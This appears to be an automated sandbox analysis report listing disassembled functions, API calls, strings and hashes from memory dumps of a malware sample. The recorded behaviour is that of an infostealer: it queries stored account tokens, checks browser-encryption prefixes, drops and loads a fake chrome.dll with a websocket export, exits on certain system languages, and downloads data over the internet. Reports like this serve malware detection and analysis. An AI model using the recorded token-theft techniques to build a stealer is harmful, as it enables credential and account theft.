Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: 94B14A7580020AAFCF34DFA4CC809AEBBB6FF44314B14455AE8156BA91DB31EA51CF99

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0041735E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0041758D,004205C5), ref: 0041739C
memset.MSVCRT ref: 004173EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0041753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041740C

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction ID: 233c3b8a05bec9dd0facad4523d46c30dcb6cb295cabbf2d5ddda9a1061df09f
Opcode Fuzzy Hash: 4eb0c3d19f3da17071fde292eb786f020f2e13f1e01cd1aee6cfe2f08f7ed460
Instruction Fuzzy Hash: 24515FB0D04218ABDB14EF91DC45BEEB7B5AF04305F1041AEE21567281EB786AC8CF59

Function 0249AA37 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(006D6AB4,006D7D88,0000FFFF), ref: 0249AA54
LoadLibraryA.KERNEL32(006D6F78), ref: 0249AADD

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAD97: lstrlen.KERNEL32(024951BC,?,?,024951BC,00420DDF), ref: 024AADA2
Part of subcall function 024AAD97: lstrcpy.KERNEL32(00420DDF,00000000), ref: 024AADFC

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

SetEnvironmentVariableA.KERNEL32(006D6AB4,00000000,00000000,?,0042137C,?,?,006D7D88,00420B0A), ref: 0249AAC9

Strings

HQ~, xrefs: 0249AB79, 0249AB7F
X_~, xrefs: 0249AB2A, 0249AB30
0Q~, xrefs: 0249AB10, 0249AB15
hR~, xrefs: 0249AAF5, 0249AAFB

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: 0Q~$HQ~$X_~$hR~
API String ID: 2929475105-2029124377
Opcode ID: 28636e42b96d74fe9ef9bd026ff49c51381b0b9500e55afc2fbd4bfe4884ebd2
Instruction ID: 8f6f469bd7c8029c9c9e8ab42ae5e16ac40a15e1f6eebb2b2f8359123cb02513
Opcode Fuzzy Hash: 28636e42b96d74fe9ef9bd026ff49c51381b0b9500e55afc2fbd4bfe4884ebd2
Instruction Fuzzy Hash: F04148F1D16214AFCB04EFA4EC54EAA7BB7AB28305F44512FE505A32E0EB345904CF62

Function 0040A7D0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(007DD5B0,006D7D88,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A7ED
LoadLibraryA.KERNEL32(007E5DF8,?,?,?,?,?,?,?,?,?,?,?,004102B3), ref: 0040A876

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

SetEnvironmentVariableA.KERNEL32(007DD5B0,00000000,00000000,?,0042137C,?,004102B3,006D7D88,00420B0A), ref: 0040A862

Strings

X_~, xrefs: 0040A8C3
hR~, xrefs: 0040A88E
0Q~, xrefs: 0040A8A9
HQ~, xrefs: 0040A912

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: 0Q~$HQ~$X_~$hR~
API String ID: 2929475105-2029124377
Opcode ID: 15a2362519d657fca72e96e884b7932790fa0d09b782065e74e3cf1bb52d26e8
Instruction ID: e2f153a25b0241b5b599166127738bab9ecbab10861abf647739b816a1383ce1
Opcode Fuzzy Hash: 15a2362519d657fca72e96e884b7932790fa0d09b782065e74e3cf1bb52d26e8
Instruction Fuzzy Hash: 63415BB1E0A2049BC704EBA5EC55BAE37B6AB08305F44552BF505A32E0FB386954CB67

Function 024A84F7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,006D6D60,00000000,?,00420E14,00000000,?,00000000), ref: 024A8527
RtlAllocateHeap.NTDLL(00000000), ref: 024A852E
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 024A854F
__aulldiv.LIBCMT ref: 024A8569
__aulldiv.LIBCMT ref: 024A8577
wsprintfA.USER32 ref: 024A85A3

Strings

@, xrefs: 024A8544

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: @
API String ID: 2774356765-2766056989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 1857468a769b5e1975abf5eae9f0235fd0fdd82c0648de4b3ddf373103575cc1
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: D7215CB1E44318ABDB00DFD5CC49FAEBBBAFB44B04F10450AF615BB280D77899008BA5

Function 024ACF75 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 024ACF81

Part of subcall function 024AC507: __getptd_noexit.LIBCMT ref: 024AC50A
Part of subcall function 024AC507: __amsg_exit.LIBCMT ref: 024AC517

__amsg_exit.LIBCMT ref: 024ACFA1
__lock.LIBCMT ref: 024ACFB1
InterlockedDecrement.KERNEL32(?), ref: 024ACFCE
free.MSVCRT ref: 024ACFE1
InterlockedIncrement.KERNEL32(0042C980), ref: 024ACFF9

Strings

`Lw, xrefs: 024ACFCE

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID: `Lw
API String ID: 634100517-159918574
Opcode ID: a406f9b520e450cd513daa8d859430686771864cb966364ac70015d3cab56a31
Instruction ID: 89210f4b1d2524427a604b2bb37a7709a851d5fac6ef519c062234e592830409
Opcode Fuzzy Hash: a406f9b520e450cd513daa8d859430686771864cb966364ac70015d3cab56a31
Instruction Fuzzy Hash: AE019631A01621EFCB61AF66D4A4B5EB7A1BF24718F44411BF815A76C0C7346941CFD5

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

AccountTokens, xrefs: 0040BB19
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB
AccountTokens, xrefs: 0040BA8A
AccountId, xrefs: 0040BC94

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 77157b605f389a5c6e2b27dd9330df19a1ba92b834918610c3edd5714d2b20f3
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 77157b605f389a5c6e2b27dd9330df19a1ba92b834918610c3edd5714d2b20f3
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 0040A090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098
GetProcAddress.KERNEL32(00000000,connect_to_websocket), ref: 0040A0BE
GetProcAddress.KERNEL32(00000000,free_result), ref: 0040A0D5
FreeLibrary.KERNEL32(00000000,?,004108E4), ref: 0040A0F9

Strings

C:\ProgramData\chrome.dll, xrefs: 0040A093
connect_to_websocket, xrefs: 0040A0B3
free_result, xrefs: 0040A0C9

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 2256533930-1545816527
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 41317d004e32df3368e0b40b2df30f060e9b3f1c7a199a11b2b6647de007d5a9
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 57F01DB4E0E324EFD7009B60ED48B563BA6E318341F506437F505AB2E0E3B85494CB6B

Function 00416A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14
ExitProcess.KERNEL32 ref: 00416A45
ExitProcess.KERNEL32 ref: 00416A4F
ExitProcess.KERNEL32 ref: 00416A59
ExitProcess.KERNEL32 ref: 00416A63
ExitProcess.KERNEL32 ref: 00416A6D

Strings

*, xrefs: 00416A2C

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction ID: 485b87df60e927c5081145715141aeea1c9fd48c6e3f29f258bd7afdae13bdb0
Opcode Fuzzy Hash: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction Fuzzy Hash: AFF0E232D8E218EFD3409FE0EC0979CFB31EB05707F064296F60996190E6708A80CB52

Function 0041D7DA Relevance: 12.1, APIs: 8, Instructions: 147COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 0041D875
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?), ref: 0041D8AE
__freea.LIBCMT ref: 0041D946

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: String$__freea
String ID:
API String ID: 172395558-0
Opcode ID: c0a4e65e416cc6d163fb13cf5ea6e56ed49e7832e3f26e52db7e14d69add3d0a
Instruction ID: c9f286f967bf66b7b0283f743b96c3ab2a9b09053fb5a2a67034624a80d62479
Opcode Fuzzy Hash: c0a4e65e416cc6d163fb13cf5ea6e56ed49e7832e3f26e52db7e14d69add3d0a
Instruction Fuzzy Hash: B841AEF2D0010ABFDF115F91CD819EF7B76EB84314B14442BF524A2260C7398DA1EB58

Function 02497897 Relevance: 12.1, APIs: 8, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02497597: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 02497601
Part of subcall function 02497597: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 02497678
Part of subcall function 02497597: StrStrA.SHLWAPI(00000000,0042191C,00000000), ref: 024976D4
Part of subcall function 02497597: GetProcessHeap.KERNEL32(00000000,?), ref: 02497719
Part of subcall function 02497597: HeapFree.KERNEL32(00000000), ref: 02497720

lstrcat.KERNEL32(006D7068,0042192C), ref: 024978CD
lstrcat.KERNEL32(006D7068,00000000), ref: 0249790F
lstrcat.KERNEL32(006D7068,00421930), ref: 02497921
lstrcat.KERNEL32(006D7068,00000000), ref: 02497956
lstrcat.KERNEL32(006D7068,00421934), ref: 02497967
lstrcat.KERNEL32(006D7068,00000000), ref: 0249799A
lstrcat.KERNEL32(006D7068,00421938), ref: 024979B4
task.LIBCPMTD ref: 024979C2

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID:
API String ID: 2677904052-0
Opcode ID: 754e135dd435b5109bd89d6f633deaab1f2fe0ec03a021116c7625d90a29a748
Instruction ID: 15e4b343d3abcbfdf1b2bd3732087287a9f3986b2ef195b488ecad2c4ac9bfbb
Opcode Fuzzy Hash: 754e135dd435b5109bd89d6f633deaab1f2fe0ec03a021116c7625d90a29a748
Instruction Fuzzy Hash: DC315EB1D041149FDF04EBA4DCA5DFEBB76EB49301F10411AE102672A0EA35AA85CFA1

Function 02495267 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 02495281
RtlAllocateHeap.NTDLL(00000000), ref: 02495288
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 024952A1
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 024952C8
InternetReadFile.WININET(?,?,00000400,00000000), ref: 024952F8
memcpy.MSVCRT(00000000,?,00000001), ref: 02495341
InternetCloseHandle.WININET(?), ref: 02495370
InternetCloseHandle.WININET(?), ref: 0249537D

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 9d9a8564c17c37c6ab9290f4ff10c49815d7cff8932d35ae010a82ac5e0e1cea
Instruction ID: 5c66ea0a3c7f9ee407dc2ea655b987e5de2d7ab53f5b1c41bb0c37488316522f
Opcode Fuzzy Hash: 9d9a8564c17c37c6ab9290f4ff10c49815d7cff8932d35ae010a82ac5e0e1cea
Instruction Fuzzy Hash: B331F8B4E44218ABDB20CF54DC85BDCBBB5AB48304F5081EAF609A7281D7B06AC5CF59

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,007DD760), ref: 00410922
StrCmpCA.SHLWAPI(00000000,007DD6B0), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,007DD640), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00410C30
C:\ProgramData\chrome.dll, xrefs: 004108CD

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: eb521b0bac9c100c69826038bbf1acecc1a0c0b315b1a9d12a6a17f46b6fee3d
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: eb521b0bac9c100c69826038bbf1acecc1a0c0b315b1a9d12a6a17f46b6fee3d
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 0040A560 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memcmp.MSVCRT(?,v10,00000003), ref: 0040A5D2
memset.MSVCRT ref: 0040A60B
LocalAlloc.KERNEL32(00000040,?), ref: 0040A664

Strings

@, xrefs: 0040A614
v10, xrefs: 0040A5C6
v20, xrefs: 0040A571

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @$v10$v20
API String ID: 631489823-278772428
Opcode ID: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction ID: deead5598e30f73acd49a71965db0b9c26184f2a73657d717c04d8255e3e8135
Opcode Fuzzy Hash: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction Fuzzy Hash: 7C518E30610208EFCB14EFA5DD95FDD7775AF40304F008029F90A6F291DB78AA55CB5A

Function 004149D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,007E6A80,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00414A2B

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00414A51
lstrcatA.KERNEL32(?,?), ref: 00414A70
lstrcatA.KERNEL32(?,?), ref: 00414A84
lstrcatA.KERNEL32(?,007DA610), ref: 00414A97
lstrcatA.KERNEL32(?,?), ref: 00414AAB
lstrcatA.KERNEL32(?,007E5FB8), ref: 00414ABF

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 004147C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
Part of subcall function 004147C0: HeapAlloc.KERNEL32(00000000), ref: 004147D7
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147F6
Part of subcall function 004147C0: FindFirstFileA.KERNEL32(?,?), ref: 0041480D

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
